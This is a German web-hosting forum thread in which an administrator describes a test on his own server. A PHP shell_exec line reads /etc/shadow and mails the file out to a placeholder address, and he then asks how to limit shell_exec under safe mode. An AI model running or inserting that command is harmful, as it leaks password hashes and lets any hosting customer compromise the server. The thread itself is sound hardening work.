[Sicherheit] Shell_Exec, Safemode und Basdir

marius

Registered User
Hallo zusammen

angestoßen durch einen Thread in der FAQ habe ich auf einem neu angemieteten Server mit Defaulteinstellungen mal folgendes getestet in einem PHP-Script, was ein ganz normaler "Kunde" hätte hochladen können:

shell_exec("mail user@domain.tld -s ShadowDatei < /etc/shadow");

Das ganze klappt sogar und ich bekam den Inhalt der Shadow zugeschickt.

Wenn ich nun den Safemode anmache, geht leider shell_exec nicht, ich brauche es aber für meine eigenen Scripts. Ich dachte mir dann, dass ich in safe_mode_exec_dir dann einfach ein bestimmtes Verzeichnis mache wo ich meine benötigten Dateien die ich starten können möchte reinkopiere. Klappt dann auch soweit, nur leider klapp das mit dem Befehl shell_exec nicht ganz:

shell_exec(): Cannot execute using backquotes in Safe Mode

Kann mir einer helfen? Will nur, dass shell_exec startbar ist aber nur Dateien aus einem best. Pfad ausgeführt werden können.


Edit: Habe mit shadowconfig on schonmal die /etc/shadow sichern können. Würde aber trotzdem mein Vorhaben von oben durchsetzen :)
 
Last edited by a moderator:
shell_exec() und system() genauso wie passtrhu() exec()

werden sehr oft verwendet, ist gibt da aber auch noch andere möglichkeiten

wie show_source oder readfile die man Nutzen könnte.

Nur was mich sehr verwundert das Du die shadow Datei zugesendet bekommen hast. Das dürfte garnicht gehen , außer der User hätte uid 0.

Was macht dein oben_base_dir ?

mfg
the_condor
 
Back
Top